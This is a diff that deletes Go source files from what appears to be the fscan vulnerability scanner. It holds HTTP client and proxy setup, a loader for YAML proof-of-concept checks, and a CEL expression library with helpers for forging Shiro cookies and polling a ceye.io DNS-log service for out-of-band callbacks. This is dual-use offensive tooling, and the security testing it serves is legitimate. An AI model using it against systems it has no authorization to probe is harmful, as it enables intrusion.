MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
|
||||
if common.Socks5Proxy != "" {
|
||||
dialSocksProxy, err := common.Socks5Dailer(dialer)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
|
||||
tr.DialContext = contextDialer.DialContext
|
||||
} else {
|
||||
return errors.New("Failed type assertion to DialContext")
|
||||
}
|
||||
} else if DownProxy != "" {
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if DownProxy == "2" {
|
||||
DownProxy = "socks5://127.0.0.1:1080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
|
||||
return errors.New("no support this proxy")
|
||||
}
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set StrMap `yaml:"set"`
|
||||
Sets ListMap `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Groups RuleMap `yaml:"groups"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type MapSlice = yaml.MapSlice
|
||||
|
||||
type StrMap []StrItem
|
||||
type ListMap []ListItem
|
||||
type RuleMap []RuleItem
|
||||
|
||||
type StrItem struct {
|
||||
Key, Value string
|
||||
}
|
||||
|
||||
type ListItem struct {
|
||||
Key string
|
||||
Value []string
|
||||
}
|
||||
|
||||
type RuleItem struct {
|
||||
Key string
|
||||
Value []Rules
|
||||
}
|
||||
|
||||
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, one := range tmp {
|
||||
key, value := one.Key.(string), one.Value.(string)
|
||||
*r = append(*r, StrItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// var tmp yaml.MapSlice
|
||||
// if err := unmarshal(&tmp); err != nil {
|
||||
// return err
|
||||
// }
|
||||
// //for _,one := range tmp{
|
||||
// // key,value := one.Key.(string),one.Value.(string)
|
||||
// // *r = append(*r,StrItem{key,value})
|
||||
// //}
|
||||
// return nil
|
||||
//}
|
||||
|
||||
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var tmp1 yaml.MapSlice
|
||||
if err := unmarshal(&tmp1); err != nil {
|
||||
return err
|
||||
}
|
||||
var tmp = make(map[string][]Rules)
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, one := range tmp1 {
|
||||
key := one.Key.(string)
|
||||
value := tmp[key]
|
||||
*r = append(*r, RuleItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, one := range tmp {
|
||||
key := one.Key.(string)
|
||||
var value []string
|
||||
for _, val := range one.Value.([]interface{}) {
|
||||
v := fmt.Sprintf("%v", val)
|
||||
value = append(value, v)
|
||||
}
|
||||
*r = append(*r, ListItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"`
|
||||
Path string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
Continue bool `yaml:"continue"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"`
|
||||
Links []string `yaml:"links"`
|
||||
Description string `yaml:"description"`
|
||||
Version string `yaml:"version"`
|
||||
}
|
||||
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := LoadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
} else {
|
||||
fmt.Println("[-] load poc ", f, " error:", err)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var foundFiles []string
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
func LoadPocbyPath(fileName string) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
data, err := ioutil.ReadFile(fileName)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(data, p)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
@@ -1,697 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
"github.com/google/cel-go/common/types"
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
||||
return cel.NewEnv(cel.Lib(c))
|
||||
}
|
||||
|
||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
||||
if expression == "" {
|
||||
return types.Bool(true), nil
|
||||
}
|
||||
ast, iss := env.Compile(expression)
|
||||
if iss.Err() != nil {
|
||||
//fmt.Printf("compile: ", iss.Err())
|
||||
return nil, iss.Err()
|
||||
}
|
||||
|
||||
prg, err := env.Program(ast)
|
||||
if err != nil {
|
||||
//fmt.Printf("Program creation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
out, _, err := prg.Eval(params)
|
||||
if err != nil {
|
||||
//fmt.Printf("Evaluation error: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func UrlTypeToString(u *UrlType) string {
|
||||
var buf strings.Builder
|
||||
if u.Scheme != "" {
|
||||
buf.WriteString(u.Scheme)
|
||||
buf.WriteByte(':')
|
||||
}
|
||||
if u.Scheme != "" || u.Host != "" {
|
||||
if u.Host != "" || u.Path != "" {
|
||||
buf.WriteString("//")
|
||||
}
|
||||
if h := u.Host; h != "" {
|
||||
buf.WriteString(u.Host)
|
||||
}
|
||||
}
|
||||
path := u.Path
|
||||
if path != "" && path[0] != '/' && u.Host != "" {
|
||||
buf.WriteByte('/')
|
||||
}
|
||||
if buf.Len() == 0 {
|
||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
||||
buf.WriteString("./")
|
||||
}
|
||||
}
|
||||
buf.WriteString(path)
|
||||
|
||||
if u.Query != "" {
|
||||
buf.WriteByte('?')
|
||||
buf.WriteString(u.Query)
|
||||
}
|
||||
if u.Fragment != "" {
|
||||
buf.WriteByte('#')
|
||||
buf.WriteString(u.Fragment)
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
type CustomLib struct {
|
||||
envOptions []cel.EnvOption
|
||||
programOptions []cel.ProgramOption
|
||||
}
|
||||
|
||||
func NewEnvOption() CustomLib {
|
||||
c := CustomLib{}
|
||||
|
||||
c.envOptions = []cel.EnvOption{
|
||||
cel.Container("lib"),
|
||||
cel.Types(
|
||||
&UrlType{},
|
||||
&Request{},
|
||||
&Response{},
|
||||
&Reverse{},
|
||||
),
|
||||
cel.Declarations(
|
||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
||||
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
||||
),
|
||||
cel.Declarations(
|
||||
// functions
|
||||
decls.NewFunction("bcontains",
|
||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("bmatches",
|
||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("md5",
|
||||
decls.NewOverload("md5_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomInt",
|
||||
decls.NewOverload("randomInt_int_int",
|
||||
[]*exprpb.Type{decls.Int, decls.Int},
|
||||
decls.Int)),
|
||||
decls.NewFunction("randomLowercase",
|
||||
decls.NewOverload("randomLowercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomUppercase",
|
||||
decls.NewOverload("randomUppercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomString",
|
||||
decls.NewOverload("randomString_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("substr",
|
||||
decls.NewOverload("substr_string_int_int",
|
||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("wait",
|
||||
decls.NewInstanceOverload("reverse_wait_int",
|
||||
[]*exprpb.Type{decls.Any, decls.Int},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("icontains",
|
||||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("TDdate",
|
||||
decls.NewOverload("tongda_date",
|
||||
[]*exprpb.Type{},
|
||||
decls.String)),
|
||||
decls.NewFunction("shirokey",
|
||||
decls.NewOverload("shiro_key",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("startsWith",
|
||||
decls.NewInstanceOverload("startsWith_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("istartsWith",
|
||||
decls.NewInstanceOverload("startsWith_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("hexdecode",
|
||||
decls.NewInstanceOverload("hexdecode",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.Bytes)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
cel.Functions(
|
||||
&functions.Overload{
|
||||
Operator: "bytes_bcontains_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
return types.Bool(bytes.Contains(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatches_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
||||
}
|
||||
ok, err := regexp.Match(string(v1), v2)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.Bool(ok)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "md5_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
||||
}
|
||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomInt_int_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
from, ok := lhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
||||
}
|
||||
to, ok := rhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomLowercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomUppercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
||||
}
|
||||
return types.String(randomUppercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomString_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
|
||||
}
|
||||
return types.String(randomString(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "substr_string_int_int",
|
||||
Function: func(values ...ref.Val) ref.Val {
|
||||
if len(values) == 3 {
|
||||
str, ok := values[0].(types.String)
|
||||
if !ok {
|
||||
return types.NewErr("invalid string to 'substr'")
|
||||
}
|
||||
start, ok := values[1].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid start to 'substr'")
|
||||
}
|
||||
length, ok := values[2].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
} else {
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
}
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "reverse_wait_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
reverse, ok := lhs.Value().(*Reverse)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
||||
}
|
||||
timeout, ok := rhs.Value().(int64)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
||||
}
|
||||
return types.Bool(reverseCheck(reverse, timeout))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "icontains_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "tongda_date",
|
||||
Function: func(value ...ref.Val) ref.Val {
|
||||
return types.String(time.Now().Format("0601"))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "shiro_key",
|
||||
Binary: func(key ref.Val, mode ref.Val) ref.Val {
|
||||
v1, ok := key.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
|
||||
}
|
||||
v2, ok := mode.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
|
||||
}
|
||||
cookie := GetShrioCookie(string(v1), string(v2))
|
||||
if cookie == "" {
|
||||
return types.NewErr("%v", "key b64decode failed")
|
||||
}
|
||||
return types.String(cookie)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(bytes.HasPrefix(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "hexdecode",
|
||||
Unary: func(lhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
|
||||
}
|
||||
out, err := hex.DecodeString(string(v1))
|
||||
if err != nil {
|
||||
return types.ValOrErr(lhs, "hexdecode error: %v", err)
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bytes(out)
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// 声明环境中的变量类型和函数
|
||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
||||
return c.envOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
||||
return c.programOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
|
||||
for _, item := range args {
|
||||
k, v := item.Key, item.Value
|
||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
||||
var d *exprpb.Decl
|
||||
if strings.HasPrefix(v, "randomInt") {
|
||||
d = decls.NewIdent(k, decls.Int, nil)
|
||||
} else if strings.HasPrefix(v, "newReverse") {
|
||||
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil)
|
||||
} else {
|
||||
d = decls.NewIdent(k, decls.String, nil)
|
||||
}
|
||||
c.envOptions = append(c.envOptions, cel.Declarations(d))
|
||||
}
|
||||
}
|
||||
|
||||
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
|
||||
|
||||
func randomLowercase(n int) string {
|
||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func randomUppercase(n int) string {
|
||||
uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
return RandomStr(randSource, uppercase, n)
|
||||
}
|
||||
|
||||
func randomString(n int) string {
|
||||
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
return RandomStr(randSource, charset, n)
|
||||
}
|
||||
|
||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
if ceyeApi == "" || r.Domain == "" || !common.DnsLog {
|
||||
return false
|
||||
}
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||
//fmt.Println(urlStr)
|
||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
const (
|
||||
letterIdxBits = 6 // 6 bits to represent a letter index
|
||||
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
|
||||
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
|
||||
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
)
|
||||
randBytes := make([]byte, n)
|
||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
||||
if remain == 0 {
|
||||
cache, remain = randSource.Int63(), letterIdxMax
|
||||
}
|
||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
||||
randBytes[i] = letterBytes[idx]
|
||||
i--
|
||||
}
|
||||
cache >>= letterIdxBits
|
||||
remain--
|
||||
}
|
||||
return string(randBytes)
|
||||
}
|
||||
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
if req.Body == nil || req.Body == http.NoBody {
|
||||
} else {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
var oResp *http.Response
|
||||
var err error
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
//fmt.Println("[-]DoRequest error: ",err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
common.LogError("[-] ParseResponse error: " + err.Error())
|
||||
//return nil, err
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
